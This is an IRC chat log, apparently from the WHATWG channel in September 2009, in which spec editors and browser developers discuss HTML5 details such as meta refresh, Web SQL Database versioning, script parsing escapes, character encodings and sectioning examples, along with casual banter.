erlehmann: not being entirely serious

[02:26:00.0000] <annevk2>
erlehmann, I think you might be using it wrong then

[02:27:00.0000] <annevk2>
erlehmann, yeah, if you use multiple <dt> followed by a single <dd> you're doing it wrong

[02:27:01.0000] <annevk2>
erlehmann, so maybe it's not simple :)

[02:31:00.0000] <erlehmann_>
annevk2, its not allowed ? :(

[02:34:00.0000] <annevk2>
erlehmann_, I'm not sure how much clearer I can make it

[02:34:01.0000] <annevk2>
erlehmann_, you could read the spec

[02:35:00.0000] <annevk2>
erlehmann, the validator flags it too...

[02:35:01.0000] <erlehmann>
:/

[03:04:00.0000] <zcorpan>
polyglot++

[03:04:01.0000] <annevk2>
seriously?

[03:04:02.0000] <jgraham>
It's OK, polyglot is idempotent under addition

[03:10:00.0000] <zcorpan>
http://intertwingly.net/blog/2009/09/08/First-Polyglot-Validator-Check-Deployed#c1252572959

[03:17:00.0000] <Philip`>
Hixie: "A news organisation's front page ..." - shouldn't that be 'organization' in en-US?

[03:20:00.0000] <Lachy>
why is <meta http-equiv="Refresh"> considered conforming?

[03:22:00.0000] <zcorpan>
Hixie: was the PDF <link> example intended to link to /en/html ?

[03:22:01.0000] <annevk2>
Lachy, there's no equivalent

[03:22:02.0000] <zcorpan>
Refresh: ... is equivalent :)

[03:23:00.0000] <annevk2>
is that implemented?

[03:23:01.0000] <zcorpan>
iirc yes

[03:23:02.0000] <Lachy>
annevk2, HTTP 302 for most cases

[03:23:03.0000] <annevk2>
/me thought only one or two browsers did that

[03:23:04.0000] <Lachy>
and for the case of a delayed refresh, that should never ever be used

[03:23:05.0000] <annevk2>
Lachy, disagreed, but I forgot the reason

[03:23:06.0000] <zcorpan>
Lachy: if it's not conforming, people will use setTimeout and location.href instead

[03:24:00.0000] <Lachy>
but the most common case is using it as <meta http-equiv="refresh" content="0;http://...">

[03:24:01.0000] <zcorpan>
Lachy: the meta is easier to block for users

[03:25:00.0000] <Lachy>
we should at least warn about it, especially when it's being used for rediection

[03:25:01.0000] <Lachy>
*redirection

[03:27:00.0000] <zcorpan>
lol Frontweaver

[03:28:00.0000] <Philip`>
Lachy: That "most common case" seems to be about half of all Refreshes

[03:29:00.0000] <Philip`>
and the other half are mostly small numbers like 1 and 5 and 3 and 10 etc

[03:29:01.0000] <Philip`>
and a handful like 1800 which are presumably for auto-refreshing pages, not for redirects

[04:06:00.0000] <Hixie>
othermaciej: hah, iTunes 9 just crashed on me in WebCore::HTMLTokenizer::parseTag() :-P

[04:06:01.0000] <Hixie>
(well, actually in the hashtable code, but frame 4 was the tokeniser)

[04:08:00.0000] <Hixie>
wow, snow leopard's crash reporting is more advanced than leopard's, even

[04:09:00.0000] <hsivonen>
Hixie: what does iTunes 9 use WebCore for?

[04:10:00.0000] <Hixie>
itunes store, it seems

[04:10:01.0000] <hsivonen>
interesting

[04:10:02.0000] <hsivonen>
I thought iTunes store was using a product-specific markup language without WebKit

[04:10:03.0000] <hsivonen>
has it always been like that or does 9 change things substantially?

[04:11:00.0000] <annevk2>
per gruber it's 9

[04:11:01.0000] <hsivonen>
ah

[04:12:00.0000] <jgraham>
/me assumes that Apple will nevertheless prevent people accessing iTunes Web Store using an ordinary web browser

[04:12:01.0000] <hsivonen>
it's quite sad, really.

[04:12:02.0000] <hsivonen>
I would have made purchases in the iTunes store using Ubuntu if they had a pure Web UI

[04:14:00.0000] <zcorpan>
hsivonen: but since you want iTunes store so badly, you don't use Ubuntu, right?

[04:14:01.0000] <beowulf>
the css for the itunes store is at http://ax.itunes.apple.com/htmlResources/CFA7/dt-storefront.cssz

[04:15:00.0000] <beowulf>
so the internet says

[04:15:01.0000] <hsivonen>
zcorpan: well, now we both an Ubuntu box and a Mac at home but the Mac came for a different reason

[04:15:02.0000] <Hixie>
HOLY SWEET KITTENS

[04:16:00.0000] <Hixie>
itunes9 has boolean search queries in the smart playlists finally

[04:16:01.0000] <jgraham>
Ah, I thought you had just discovered a tasty snack

[04:17:00.0000] <Hixie>
i can reconstruct my playlists so that i just have one "Music Mix" playlist instead of having to construct it using about 9 playlists that are slowly mixed together to do all the "and"ing and "or"ing that i wanted

[04:19:00.0000] <jgraham>
/me wonders if he is abnormal because he hardly ever uses playlist features

[04:19:01.0000] <hsivonen>
jgraham: you aren't

[04:20:00.0000] <Hixie>
i need playlists so that i can get itunes to sync the right podcasts to my ipod

[04:21:00.0000] <Philip`>
/me just runs Audacious with a flat list of 247 hours of audio files, and has never had any desire for more organisation

[04:21:01.0000] <hsivonen>
I wish people sarted doing QA with 1.0 UI cale factor

[04:22:00.0000] <hsivonen>
*started

[04:23:00.0000] <Philip`>
*scale?

[04:23:01.0000] <jgraham>
Needing to have iTunes is one of the reasons I don't have an iPod.

[04:23:02.0000] <Philip`>
Isn't 1.0 the default?

[04:23:03.0000] <hsivonen>
Philip`: yes

[04:23:04.0000] <hsivonen>
Philip`: non-1.0

[04:23:05.0000] <hsivonen>
at least 3 bugs in one sentence so far

[04:23:06.0000] <Philip`>
Ah

[04:23:07.0000] <hsivonen>
I lose

[04:28:00.0000] <hsivonen>
Does Mac OS X, in principle, support differnt scale factors for different screens?

[04:29:00.0000] <Hixie>
Philip`: i'm up to 427 hours of just (legally-acquired) music, and that's not counting tv shows, movies, podcasts, poetry tracks, audiobooks, etc

[04:29:01.0000] <Hixie>
Philip`: so i need to narrow it down to sync to my music player

[04:31:00.0000] <Philip`>
Hixie: You just need a higher-capacity music player

[04:31:01.0000] <Hixie>
i was going to get the new ipod touch, but it's not really compelling enough to justify $400 or whatever it was

[04:35:00.0000] <Lachy>
Hixie, in webdatabase, when a database is first opened with "" as the version using: openDatabase("name", "", "Display Name", "1024"); and then next it's opened with "foo" as the version, should it throw an exception?

[04:35:01.0000] <Hixie>
off the top of my head, yes

[04:35:02.0000] <Lachy>
Our developer thinks the spec is ambiguous about this because the empty string is used to mean any version is fine

[04:35:03.0000] <Hixie>
i thought i made this very clear recently

[04:35:04.0000] <Hixie>
i changed it to have an explicit algorithm

[04:35:05.0000] <Lachy>
that's what I thought too

[04:45:00.0000] <Lachy>
Hixie, this requirement makes no sense "If a callback was passed to the method, then let the database's version be the empty string. Otherwise, let its version be the given database version"

[04:46:00.0000] <Hixie>
it certainly seems odd

[04:46:01.0000] <Lachy>
I assume it should be saying if the version passed was not the empty string or something

[04:46:02.0000] <Hixie>
send mail?

[04:46:03.0000] <Lachy>
ok, will do when I sort out what the spec is supposed to be saying for steps 3 and 4

[04:46:04.0000] <Hixie>
/me looks

[04:48:00.0000] <Hixie>
actually it means exactly what it says

[04:48:01.0000] <Lachy>
Hixie, it should say something like this:

[04:48:02.0000] <Lachy>
* Database exists?

[04:48:03.0000] <Lachy>
  - Version passed is empty, or version passed matches existing version? Open database.

[04:48:04.0000] <Lachy>
  - Version passed is not empty and does not match, throw INVALID_STATE_ERR

[04:48:05.0000] <Lachy>
* Otherwise, database does not exists:

[04:48:06.0000] <Lachy>
  - Create and open the database, let "created" be true. Set the version to the version passed.

[04:49:00.0000] <Hixie>
(except for missing the "." at the end of the sentence)

[04:50:00.0000] <Lachy>
but it doesn't make any sense for the value of the version to be set based on whether or not a callback was passed.

[04:50:01.0000] <Hixie>
yeah, it does

[04:50:02.0000] <Lachy>
how does it?

[04:50:03.0000] <Hixie>
because the callback is meant to call changeVersion()

[04:50:04.0000] <Lachy>
what?

[04:51:00.0000] <Hixie>
otherwise, two calls to the method at the same time would both call the callback

[04:51:01.0000] <Hixie>
or, one would call the callback and the other would succeed, but before the callback in the other thread had finished

[04:53:00.0000] <Lachy>
oh. That just makes things confusing. So if I call openDatabase("db", "foo", "Whatever", 1024, callback); then the version is meant to be set to "" regardless?

[04:53:01.0000] <Hixie>
only if the database doesn't exist

[04:55:00.0000] <Lachy>
ok, well we don't support the creation callback yet anyway, so we can ignore that statement for now

[04:55:01.0000] <Lachy>
so just considering the cases where there is no callback

[04:56:00.0000] <Lachy>
the steps as written are still not particularly clear

[04:56:01.0000] <Hixie>
yeah

[04:56:02.0000] <Hixie>
remind me in 15 minutes

[04:56:03.0000] <Lachy>
ok

[05:02:00.0000] <karlcow>
[03:06]  <Dashiva> karl does, but he might not be around

[05:02:01.0000] <karlcow>
even a better person to ask is people from CreativeCommons who are part of the htmlwg.

[05:04:00.0000] <karlcow>
indeed CreativeCommons is a way to fill the space in between two extremes: Copyrights to Public Domain, with a variety of options.

[05:11:00.0000] <Hixie>
man, even since i put my cat's e-mail address in the spec, he gets more spam than i do

[05:12:00.0000] <jgraham>
I guess if you didn't spy on your cat's inbox it might not bother you so much

[05:12:01.0000] <beowulf>
if you can train him to filter that spam you could make money from it i'm sure

[05:12:02.0000] <Hixie>
umm... would you believe "he asked me to redirect his mail to my inbox"?

[05:12:03.0000] <Hixie>
so that i can read his mail for him, since, you know, he's a cat

[05:13:00.0000] <annevk2>
you know, most cats don't have email addresses

[05:13:01.0000] <jgraham>
It sounds like you're jsut checking that he doesn't get email from other would-be owners

[05:14:00.0000] <Hixie>
he needed an e-mail address to get his livejournal account...

[05:15:00.0000] <Hixie>
Lachy: ok, updated the steps a bit.

[05:15:01.0000] <Hixie>
give it a few secs to upload

[05:15:02.0000] <jgraham>
(interesting aside: my landlady did actually steal someone else's cat by placing a continual supply of food outside the door so that it preferred living in our building to his actual home. Then, when he needed to go to the vet she went and talked to the real owners and somehow convinced them that she should take it to the vet and keep it thereafter)

[05:16:00.0000] <hsivonen>
https://twitter.com/ppk/status/3867647272

[05:16:01.0000] <Hixie>
hsivonen: so sad

[05:16:02.0000] <Hixie>
(the "normal" part)

[05:20:00.0000] <Hixie>
ok i'm starting to notice a bad trend

[05:20:01.0000] <Hixie>
when i work on e-mails, bug count goes up

[05:20:02.0000] <Hixie>
when i work on bugs, e-mail count goes up

[05:20:03.0000] <Hixie>
let's see what happens when i sleep

[05:20:04.0000] <Hixie>
nn

[05:25:00.0000] <Lachy>
Hixie, the spec is clearer now. Thanks

[05:27:00.0000] <othermaciej>
Hixie: we've had other reports of iTunes crashes while tokenizing - oddly it doesn't seem to happen in Safari

[05:28:00.0000] <annevk2>
doesn't your parser have some non-Web flags?

[05:29:00.0000] <hsivonen>
looks like iTunes broke with HIG again and has an almost-but-not-quite unified window look

[05:36:00.0000] <hsivonen>
was the it ever considered if scripts should have an attribute that does defer them (as opposed to defer and async) but promises that the scripts won't do document.write?

[05:36:01.0000] <hsivonen>
with some obvious penalty for doing document.write anyway

[05:36:02.0000] <hsivonen>
/me is tempted to prototype and benchmark such a feature in the future

[05:47:00.0000] <zcorpan>
"limit when <!-- takes escaping effect so that it only takes escaping effect if there has been either nothing or only whitespace on the same line before it" -- http://wiki.whatwg.org/wiki/CDATA_Escapes

[05:48:00.0000] <zcorpan>
any research in this area?

[05:48:01.0000] <hsivonen>
zcorpan: not yet

[05:49:00.0000] <hsivonen>
zcorpan: it seems Hixie isn't going to do it and I don't have enough time in Q3

[05:49:01.0000] <zcorpan>
i don't think it'll help much, as from what i remember when studying this before, pages have <!-- in the beginning of the script but no matching --> in the end

[05:51:00.0000] <zcorpan>
i don't see why we'd remove it from title, textarea and xmp

[05:52:00.0000] <zcorpan>
although i think it's only required for script

[05:52:01.0000] <zcorpan>
i.e. not style

[05:52:02.0000] <zcorpan>
style might even benefit from not having it, considering pages that have <style><!-- blah </style>

[05:54:00.0000] <annevk3>
hsivonen, in your question it might help if you tell what it is for

[05:54:01.0000] <annevk3>
hsivonen, I guess it is the speculative parsing stuff

[05:56:00.0000] <zcorpan>
hmm

[05:57:00.0000] <zcorpan>
maybe we should require to have seen "<script" also

[05:58:00.0000] <zcorpan>
i.e. <script><!--</script> is closed but <script><!--<script></script></script> closes on the second end tag

[06:00:00.0000] <hsivonen>
annevk3: it's for avoiding a speculative future

[06:00:01.0000] <hsivonen>
annevk3: i.e. parsing past </script> ahead of time but committing to that future

[06:01:00.0000] <annevk3>
is that really a use case?

[06:01:01.0000] <annevk3>
if authors become aware of these issues they'll prolly just use <script defer> and such

[06:02:00.0000] <hsivonen>
annevk3: it's as much a use case as async has a use case if you formulate it from the author-perceived performace POV instead

[06:02:01.0000] <hsivonen>
annevk3: defer and async make the script execute later in the parse

[06:02:02.0000] <annevk3>
i thought async was for things that analyze the page and visitors and such

[06:03:00.0000] <hsivonen>
annevk3: I mean a promise that makes things faster without changing the detectable order of parsing and script execution

[06:03:01.0000] <annevk3>
i.e. execute asap but do not halt parsing

[06:03:02.0000] <hsivonen>
annevk3: it is

[06:03:03.0000] <annevk3>
i understand what you're proposing, i just don't see the use case

[06:04:00.0000] <jgraham>
I thought the use case was "be faster"

[06:04:01.0000] <jgraham>
Although I don't know if it is fater enough to make people actually care

[06:04:02.0000] <othermaciej>
it could be a minor performance benefit but I'd be surprised if it made much difference

[06:04:03.0000] <hsivonen>
annevk3: the use case is having a script set up event handler-triggered code (that the user can trigger during page load) near the top of the page without taking the perf hit of a speculative future

[06:04:04.0000] <hsivonen>
othermaciej: that may be

[06:04:05.0000] <zcorpan>
/me adds a proposal to cdata escapes

[06:05:00.0000] <hsivonen>
othermaciej: which is why I'm asking if it was considered and I'm not proposing anything at this point

[06:05:01.0000] <othermaciej>
the main useful aspect of async/defer is not having to block parsing on a network load

[06:05:02.0000] <mpilgrim>
roc: i'm not planning on mentioning any 3d canvas proposals in this book

[06:05:03.0000] <mpilgrim>
you'll have to wait for "dive into html6"

[06:06:00.0000] <othermaciej>
with this proposed feature you have to block at least some aspects of parsing on the network load if the script is external, since the script can use DOM APIs to observe the DOM

[06:06:01.0000] <zcorpan>
my proposal would work for <script><!-- d.w('<script></script>'); d.w('<script></script>'); </script>

[06:07:00.0000] <zcorpan>
it would break for <script><!-- d.w('<scr'+'ipt></script>'); </script>

[06:07:01.0000] <zcorpan>
even <script><!-- d.w('<scr'+'ipt></script>'); --></script>

[06:10:00.0000] <hsivonen>
othermaciej: you'd block the actuation of the DOM ops on the main thread, but the parser thread could continue to produce a non-speculative stream of tree ops

[06:11:00.0000] <annevk3>
hsivonen, what would you do different if <script> didn't include the hint?

[06:11:01.0000] <hsivonen>
annevk3: create the bookkeeping for speculation

[06:12:00.0000] <hsivonen>
annevk3: hopefully not a big deal

[06:12:01.0000] <hsivonen>
like I said, I'm not proposing anything without data

[06:12:02.0000] <hsivonen>
just asking if Hixie has already considered this

[06:13:00.0000] <annevk3>
fair enough

[06:13:01.0000] <zcorpan>
hsivonen: what do you think about proposal #3?

[06:13:02.0000] <othermaciej>
hsivonen: our tokenizer is so cheap (relative to other things that happen during page loading) that I can't imagine even expending the effort to put it on a separate thread

[06:13:03.0000] <othermaciej>
hsivonen: maybe Gecko has wildly different performance characteristics

[06:14:00.0000] <hsivonen>
zcorpan: what proposal are you referring to?

[06:14:01.0000] <zcorpan>
in http://wiki.whatwg.org/wiki/CDATA_Escapes

[06:14:02.0000] <annevk3>
hmm, the tokenizing ahead will also fail if you do <select> <link> </select> or some such

[06:15:00.0000] <annevk3>
zcorpan, no chance you can work on Web DOM Core?

[06:16:00.0000] <zcorpan>
annevk3: not now anyway

[06:16:01.0000] <hsivonen>
annevk3: what do you mean tokenizing ahead will fail?

[06:17:00.0000] <hsivonen>
zcorpan: proposal #3 seems more magic than proposal #2. I am unable to tell without empirical data which one is better.

[06:18:00.0000] <hsivonen>
zcorpan: more magic scares me on the knee-jerk level

[06:18:01.0000] <annevk3>
hsivonen, you'd find links that get dropped

[06:18:02.0000] <zcorpan>
Philip`: which is better? :)

[06:19:00.0000] <hsivonen>
annevk3: starting speculative GETs that don't get used is fine

[06:19:01.0000] <hsivonen>
GET idempotence FTW

[06:19:02.0000] <zcorpan>
hsivonen: my knee-jerk reaction to #2 is that it wouldn't do much of a difference for compat

[06:19:03.0000] <hsivonen>
zcorpan: we need data

[06:19:04.0000] <zcorpan>
indeed

[06:53:00.0000] <karlushi>
pigeons are fast http://www.engadget.com/2009/09/10/south-african-pigeon-transmits-data-faster-than-local-dsl/

[06:58:00.0000] <hsivonen>
where's the latest real-world URL spec that wasn't damaged to uselessness?

[07:00:00.0000] <jcranmer>
RFC 11-something?

[07:00:01.0000] <hsivonen>
I mean the one that was Web Addresses before getting edited too much

[07:00:02.0000] <hsivonen>
and that was the HTML5 URL section before that

[07:00:03.0000] <jcranmer>
ah, 1738

[07:01:00.0000] <Philip`>
zcorpan: I'm afraid that question requires too much thinking and interpretation from me, and I'm lazy :-p

[07:02:00.0000] <hsivonen>
jcranmer: I mean an non-fiction version--not the RFCs

[07:03:00.0000] <hsivonen>
is this the version that hasn't been edited too much? http://www.w3.org/html/wg/href/draft.html

[07:09:00.0000] <annevk3>
/me used http://www.w3.org/TR/2009/WD-html5-20090423/infrastructure.html#urls

[07:10:00.0000] <Lachy>
karlushi, I've seen similar comparisons made in the past, but find those tests to be fairly meaningless. It will always be possible to send a physical disk with more data than can be transmitted over a network in the same time period, simply by increasing the required amount of data

[07:11:00.0000] <annevk3>
karlushi, hehe

[07:12:00.0000] <jgraham>
(or decreasing the distance)

[07:12:01.0000] <jgraham>
But it seems like their network speed was 11 kB/s which is pretty poor

[07:12:02.0000] <Lachy>
unless the test has been calibrated by calculating how much data would be expected to be transmitted in the time

[07:13:00.0000] <annevk3>
hsivonen, that version works too though it misses all the xrefs

[07:17:00.0000] <Lachy>
jgraham, 23kBps, http://www.google.com/search?q=4%25+of+4GB+%2F+2+hours  although the article isn't clear about exactly how much data it is. It only says it was a 4GB memory card.

[07:18:00.0000] <jgraham>
Oh I remembered 2% somehow

[07:18:01.0000] <hsivonen>
annevk3: thanks

[08:16:00.0000] <hsivonen>
/me minted an authoritative source for Wikipedia to cite: http://blog.whatwg.org/spelling-html5

[08:19:00.0000] <svl>
hsivonen: now for someone to update http://www.w3.org/TR/html5-diff/ http://dev.w3.org/html5/html-author/ etc

[08:20:00.0000] <hsivonen>
http://html5.org/ too

[08:21:00.0000] <Mrmil>
/me likes the new whatwg blog design, much better than the default :)

[08:24:00.0000] <jgraham>
The green bar still clashes with the other greens

[08:25:00.0000] <hsivonen>
the border around the whatwg logo sucks in Firefox

[08:26:00.0000] <annevk2>
html5.org fixed

[08:26:01.0000] <hsivonen>
annevk3: thanks

[08:26:02.0000] <annevk2>
svl, html5-diff is already fixed, see editor's draft

[08:27:00.0000] <svl>
annevk2: ah, indeed.

[09:05:00.0000] <annevk2>
and, if you're around: http://wiki.whatwg.org/wiki/Web_Encodings#Encodings_3

[09:15:00.0000] <Lachy>
svl, when I resume editing the HTML5 Reference soon, I'll convert everything from "HTML 5" to "HTML5"

[09:16:00.0000] <Lachy>
when did Hixie remove the distinction between "HTML 5" and "HTML5" that was once in the spec?

[09:16:01.0000] <Philip`>
A small number of days ago

[09:17:00.0000] <Philip`>
http://html5.org/tools/web-apps-tracker?from=3702&to=3703

[09:21:00.0000] <Lachy>
ok, so we no longer have a way to refer to HTML 5, the vocabulary, and instead only the ability to refer to the serialisations.

[09:22:00.0000] <Philip`>
You can refer to it as "HTML5", and if that's ambiguous use "the HTML5 vocabulary"

[09:22:01.0000] <Lachy>
yeah, I guess that's a lot less confusing than making it dependent upon a space

[09:22:02.0000] <Lachy>
which no-one used correctly anyway

[10:04:00.0000] <mpilgrim>
<annevk2> you know, most cats don't have email addresses

[10:04:01.0000] <mpilgrim>
my dog had an email address in 1995

[10:05:00.0000] <takkaria>
those were the days

[10:05:01.0000] <mpilgrim>
i had to fight for it with the ISP

[10:05:02.0000] <takkaria>
do you also have a fish licence?

[10:05:03.0000] <mpilgrim>
then the ISP died

[10:05:04.0000] <mpilgrim>
then the dog died

[10:05:05.0000] <mpilgrim>
that story was more depressing than i intended

[10:27:00.0000] <Lachy>
mpilgrim, why did your dog have an email address?

[10:29:00.0000] <Philip`>
How else would anyone send email to it?

[10:30:00.0000] <Lachy>
Philip`, I'm curious who would be sending e-mail to a dog?

[10:31:00.0000] <beowulf>
there was a dog could use an atm

[10:31:01.0000] <Philip`>
Maybe one of the dog's friends

[10:31:02.0000] <beowulf>
http://en.wikipedia.org/wiki/Endal

[10:31:03.0000] <Lachy>
most other dogs can't type, and I'm sure all of his friends lived in the same neighbourhood and could communicate easily by barking.

[10:36:00.0000] <Philip`>
Maybe they are cyborg rat-things

[14:39:00.0000] <and>
annevk2: Thanks.

[14:40:00.0000] <and>
annevk2: Does (???) mean that the encoding is not supported (any more)?

[14:41:00.0000] <and>
annevk2: Are you at all interested in EBCDIC-based and old European 7-bit encodings?

[14:44:00.0000] <Hixie>
hsivonen: async="" penalises document.write(), no?

[14:45:00.0000] <and>
annevk2: (???) seems to correspond to long names in the text file, actually. I shall update the wiki.

[14:54:00.0000] <and>
annevk2: No, that does not seem plausible after all. I reiterate the question.

[15:15:00.0000] <and>
annevk2: gsnedders: Firefox seems to understand the HTTP header 'Content-Type: text/plain; charset= "iso-8859-16" ', but does not accept whitespace before the equals sign or inside the (double) quotes. The spec annevk2 mentioned yesterday allows whitespace before the equals sign, if I remember correctly.

[15:17:00.0000] <and>
`svn co http://svn.versiondude.net/whattf/build/trunk/ build` does not seem to work. Should it, or is there a better way to get hsivonen's parser?

[15:23:00.0000] <gsnedders>
and: Whitespace inside double quotes should matter, so it is right.

[15:24:00.0000] <gsnedders>
and: I still maintain my POV that the HTTP spec is what happens for HTTP headers, and the spec annevk2 linked to only deals with meta[@http-equiv="content-type"]

[15:26:00.0000] <and>
gsnedders: The spec annevk2 seems to be more ambitious.

[15:26:01.0000] <and>
gsnedders: Does the HTTP spec allow whitespace between charset and =?

[15:26:02.0000] <gsnedders>
and: I think so.

[15:27:00.0000] <gsnedders>
It's all a bit horrible with implied LWS (which isn't that uncommon in older specs)

[15:28:00.0000] <and>
gsnedders: Yes, I guess it means that whitespace is allowed if charset and = are to be regarded as two separate tokens.

[15:29:00.0000] <gsnedders>
Oh., no, you can't have it between the =

[15:29:01.0000] <gsnedders>
On either side.

[15:29:02.0000] <and>
s/annevk2/& linked to/

[15:29:03.0000] <gsnedders>
It's explicitly prohibited

[15:30:00.0000] <gsnedders>
LWS is allowed either side of the ; though

[15:32:00.0000] <and>
Two specifications and one implementation; three interpretations.

[15:35:00.0000] <gsnedders>
Well, the HTTP spec doesn't define what to do for non-conforming messages

[15:41:00.0000] <Lachy>
Hixie, this section seems rather difficult to comprhend. http://www.whatwg.org/specs/web-apps/current-work/#distinguishing-site-wide-headings-from-page-headings

[15:41:01.0000] <Lachy>
But I get the impression that it's trying to tell authors to do this:

[15:42:00.0000] <Lachy>
<body><header><h1>Site Wide Heading></h1></header><article><h1>Page Heading</h1> ... </article><footer>...</footer></body>

[15:43:00.0000] <Lachy>
and if that's right, then it does seem to be encouraging authors to use <article> as a content wrapper.

[15:45:00.0000] <Lachy>
in the last paragraph of that section, what does it mean to have "... more than one section  at the root of the outline."?

[15:46:00.0000] <Lachy>
is that like <body><section><h1>Heading Level 1</h1></section><section><h1>Another Level 1 Heading</h1></section></body>

[15:50:00.0000] <Lachy>
gsnedders, in your outliner, can you make it so that it gives some kind of indication about which element created the section?  Especially in the case of "Untitled Section" sections.

[15:50:01.0000] <Lachy>
e.g. http://gsnedders.html5.org/outliner/process.py?url=http://html5doctor.com/about/

[15:51:00.0000] <gsnedders>
Lachy: No, because I keep saying I'll do things and never have the time to do them.

[15:52:00.0000] <Lachy>
ok

[15:52:01.0000] <Lachy>
let me know when you'll do it :-)

[15:52:02.0000] <gsnedders>
Once my to-do is a bit emptier, which won't be for a while

[15:53:00.0000] <gsnedders>
/me writes a to-do list purely of things that _must_ be done tomorrow.

[15:53:01.0000] <gsnedders>
(Honestly, it only involves going to another city for a bit…)

[15:53:02.0000] <Lachy>
I suggest you cross out items 2, 4, 5 and 7 from your todo list. That will shorten it a bit.

[15:53:03.0000] <gsnedders>
(and I think everything on it has to be done from 9–5)

[15:54:00.0000] <gsnedders>
Lachy: But #2 is a dependancy on #1, #4 I need for Saturday, #5 I guess I could (but once I'm in the other city for #4 it's not that much), and #7 throws an IndexError

[15:54:01.0000] <Lachy>
right, so that's one off your list already!

[16:24:00.0000] <jamesr>
michaeln: the "they wrote a bug and should fix it if they wanted mutex semantics." part is what i think folks are objecting to

[16:24:01.0000] <jamesr>
because that's been tried many times and has never really worked well

[16:29:00.0000] <jamesr>
given that there's very little shared state in html5 currently it seems better to try to avoid the mess altogether

[16:31:00.0000] <jamesr>
what about restricting access to to shared resources (localStorage, databases) to a single event loop the same way DOM access is?

[16:39:00.0000] <annevk2>
and, sorry, ??? means that some other table I found that mapped the code pages to a definitive name misses that code page

[16:41:00.0000] <annevk2>
and, I sort of finished that table when I had to run so I couldn't add explanations

[16:42:00.0000] <and>
annevk2: No problem.

[16:42:01.0000] <and>
annevk2: The cp* names should probably be taken as canonical. Not sure about the remaining three.

[16:43:00.0000] <annevk2>
I hope we can make supporting UTF-7, UTF-32 and EBCDIC to be non-conforming

[16:43:01.0000] <annevk2>
especially for EBCDIC that should get rid of a gazillion encodings

[16:44:00.0000] <and>
Yes, I'll ignore those for the moment (and add a comment to the table).

[16:44:01.0000] <and>
Old 7-bit European encodings as well?

[16:45:00.0000] <annevk2>
are those 7-bit turned into 8-bit by Windows?

[16:45:01.0000] <annevk2>
for all of them it kind of depends on the amount of implementations

[16:46:00.0000] <and>
I am not sure. IE used to ignore the high bit for ASCII, but not in IE8.

[16:46:01.0000] <annevk2>
it seems implementations can get away with not supporting UTF-7 and UTF-32 and EBCDIC

[16:46:02.0000] <annevk2>
and, Sylvain (IE) will be looking into IE-specific encoding hacks as well

[16:47:00.0000] <and>
7-bit European encodings were effectively legacy before Internet (though they remained for a long time in certain system, including Norwegian library catalogues).

[16:47:01.0000] <annevk2>
and, he has not done that yet

[16:47:02.0000] <annevk2>
and, this the backend for IE/Windows (apparently a little bit different from .NET/Windows

[16:47:03.0000] <annevk2>
)

[16:47:04.0000] <and>
s/system/&s/

[16:48:00.0000] <annevk2>
is windows-sami-2 one of those?

[16:48:01.0000] <and>
Do you mean that the table is based on data for IE, and that .NET differs?

[16:48:02.0000] <annevk2>
yes

[16:48:03.0000] <annevk2>
from what I heard anyway

[16:48:04.0000] <and>
No, that one is 8-bit and a fairly recent innovation.

[16:49:00.0000] <and>
Neither Opera nor Firefox supports any European 7-bit encoding.

[16:49:01.0000] <annevk2>
to be sure you can compare my (or sylvain's csv file) with http://blogs.msdn.com/shawnste/archive/2009/08/18/alternate-encoding-names-recognized-by-net-ie.aspx

[16:49:02.0000] <annevk2>
and, then they're obsolete imo

[16:51:00.0000] <annevk2>
maybe we should put down some principles somewhere to determine whether an encoding is in or out so people can backtrack the reasoning

[16:55:00.0000] <and>
I'll go through the list and add a note for EBCDIC-based and legacy 7-bit encodings to start with.

[16:56:00.0000] <and>
I was a bit surprised to see support for all the Indian ISCII encodings as well.

[16:58:00.0000] <annevk2>
i was surprised the number of code pages surpassed 200

[16:59:00.0000] <annevk2>
or maybe shocked, dunno :)


2009-09-11
[17:00:00.0000] <and>
I have discovered them gradually, so I never really got shocked.  ;) 

[17:00:01.0000] <and>
It is somewhat impressive, though.

[17:28:00.0000] <annevk2>
dbaron, the link you put in twitter seems broken

[17:28:01.0000] <dbaron>
annevk2, hmmm... maybe I should stop letting twitter do the URL shortening

[17:28:02.0000] <dbaron>
of course, the URL fit in 160 characters, but twitter shortened it anyway

[17:28:03.0000] <dbaron>
I'm not sure what its rule is

[17:29:00.0000] <annevk2>
oh, it seems to be a bug in twitter's redirect service

[17:29:01.0000] <dbaron>
anyway, it was http://lists.w3.org/Archives/Public/www-tag/2009Aug/0054.html

[17:29:02.0000] <annevk2>
ta

[17:29:03.0000] <dbaron>
the link twitter made works for me, though

[17:32:00.0000] <and>
annevk2: The table does not seem to match IE8 (apparently installed on Windows Server 2008).

[17:33:00.0000] <annevk2>
dbaron, if I copy the link it works, I encountered some bug by directly clicking on it from the web interface

[17:34:00.0000] <annevk2>
dbaron, not sure what's up

[17:34:01.0000] <annevk2>
and, well that sucks

[17:35:00.0000] <annevk2>
though presumably the positive side of sucks is progress

[17:36:00.0000] <annevk2>
(refresh of the twitter interface fixes the issue)

[17:49:00.0000] <annevk2>
FYI: http://broadcast.oreilly.com/2009/09/draft-html-5-no-longer-a-marku.html

[17:50:00.0000] <annevk2>
I'm going to bed, but people with some stamina left might want to clarify a thing or two. E.g. how misnested stuff is non-conforming and such...

[17:54:00.0000] <Hixie>
hsivonen: yt?

[18:20:00.0000] <Lachy>
Hixie, I contacted ALA about publishing the article about sectioning, and they said they're interested

[18:20:01.0000] <Hixie>
cool

[18:20:02.0000] <Lachy>
so I've been working on it yesterday and today. It's coming along nicely, but not yet finished

[18:21:00.0000] <Lachy>
the only problem is that it's so long already, and it's not even half complete.

[18:22:00.0000] <Hixie>
i've been poking at the examples, to see if that helps too

[18:23:00.0000] <Hixie>
just passed r3800

[18:25:00.0000] <Lachy>
it's longer than I thought. Already up to 4 pages already

[18:25:01.0000] <Lachy>
s/already// - not sure why I said that twice

[18:35:00.0000] <Lachy>
Hixie, in #the-article-element: <p><time pubdate datetime="2009-10-09T14:28-08:00"></time></p>

[18:35:01.0000] <Lachy>
you should add a human readable date to hat

[18:35:02.0000] <Lachy>
*that

[18:36:00.0000] <Lachy>
same with all the other <time> elements in the example

[18:38:00.0000] <Lachy>
I suppose the example you added is good enough to satisfy this bug of mine too http://www.w3.org/Bugs/Public/show_bug.cgi?id=7552

[18:38:01.0000] <Lachy>
I'll close it.

[18:39:00.0000] <AryehGregor>
annevk2, I left a comment, but it didn't show up.  I guess they're premoderated or something?

[18:41:00.0000] <Hixie>
Lachy: if there's no contents, the UA will render the datetime appropriately

[18:43:00.0000] <Lachy>
oh, really? I forgot about that

[18:46:00.0000] <Lachy>
Hixie, from #the-time-element <footer>Published <time pubdate datetime="2009-08-30T07:13Z">lt;/time>.</footer> - s/lt;/&lt;/

